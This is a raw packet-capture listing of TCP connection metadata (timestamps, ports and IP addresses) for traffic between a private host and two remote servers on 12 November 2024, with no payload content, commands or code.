Nov 12, 2024 15:41:18.500916004 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.500967026 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.501656055 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.501718044 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.501724958 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.501821041 CET	443	49755	52.149.20.212	192.168.2.4
Nov 12, 2024 15:41:18.501919031 CET	49755	443	192.168.2.4	52.149.20.212
Nov 12, 2024 15:41:18.574031115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574054956 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574067116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574083090 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574086905 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574096918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574100018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574134111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574284077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574315071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574327946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574335098 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574340105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574357033 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574369907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574708939 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574738026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574755907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574778080 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574839115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574876070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.574917078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.574958086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575086117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575129986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575146914 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575165033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575180054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575190067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575192928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575198889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575222015 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575232029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575632095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575668097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575676918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575680971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575702906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575712919 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.575731993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575746059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.575778008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.576245070 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576256990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576267004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576292038 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.576311111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.576317072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576332092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576342106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576353073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576364994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.576373100 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.576394081 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.576416969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.577524900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577543974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577554941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577570915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.577583075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.577601910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.577641964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577658892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577671051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577682972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577697992 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.577706099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.577735901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578159094 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578171015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578181028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578206062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578213930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578213930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578227997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578238964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578252077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578253031 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578259945 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578264952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.578282118 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.578299046 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.579061031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.579103947 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733380079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733392954 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733403921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733510971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733524084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733535051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733555079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733568907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733580112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733587980 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733587980 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733587980 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733594894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733612061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733613968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733638048 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733654976 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733665943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733669996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733683109 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733695030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733717918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733735085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733752966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733766079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733776093 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733788013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733798981 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733819962 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733845949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733858109 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733867884 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733891010 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733906031 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733942986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733956099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733966112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733985901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.733987093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.733999968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734003067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734015942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734031916 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734049082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734057903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734071016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734082937 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734083891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734095097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734107971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734110117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734129906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734143019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734160900 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734226942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734236956 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734273911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734302044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734313965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734323978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734338045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734338999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734355927 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734376907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734411001 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734426975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734437943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734448910 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734448910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734473944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734478951 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734503984 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734509945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734522104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734532118 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734538078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734550953 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734550953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734560013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734565973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734577894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734580040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734601974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734612942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734700918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734714031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734724998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734747887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734761000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734792948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734805107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734816074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734828949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734841108 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734869957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734893084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734905958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734915972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.734936953 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.734951019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738672018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738724947 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738746881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738759041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738770008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738781929 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738787889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738792896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738806963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738826036 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738847017 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738881111 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738893032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738903046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738914967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738926888 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738933086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738935947 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.738940001 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738946915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.738981009 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739003897 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739310980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739341021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739352942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739392042 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739428997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739443064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739454031 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739469051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739480019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739485979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739489079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739497900 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739516973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739535093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739564896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739583015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739602089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739620924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739622116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739634991 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739638090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739650965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739661932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739661932 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739675045 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739681005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739687920 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739692926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739728928 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739742994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739759922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739770889 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739778996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.739795923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.739814997 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892121077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892132044 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892153025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892164946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892175913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892193079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892196894 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892205000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892210007 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892218113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892236948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892250061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892255068 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892263889 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892267942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892281055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892287970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892313957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892343998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892353058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892363071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892378092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892385960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892401934 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892426014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892430067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892437935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892447948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892471075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892477989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892488956 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892496109 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892502069 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892518997 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892540932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892558098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892569065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892579079 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892601967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892626047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892637968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892648935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892666101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892679930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892687082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892692089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892703056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892710924 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892735958 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892919064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892956972 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.892985106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.892997026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893042088 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893075943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893100023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893115997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893124104 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893135071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893146992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893156052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893166065 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893167973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893178940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893191099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893191099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893203020 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893217087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893243074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893259048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893269062 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893279076 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893290043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893299103 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893317938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893321037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893333912 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893342972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893357992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893384933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893385887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893450975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893467903 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893482924 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893491983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893495083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893502951 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893502951 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893522978 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893531084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:18.893532038 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:18.893563032 CET	49751	80	192.168.2.4	185.215.113.206
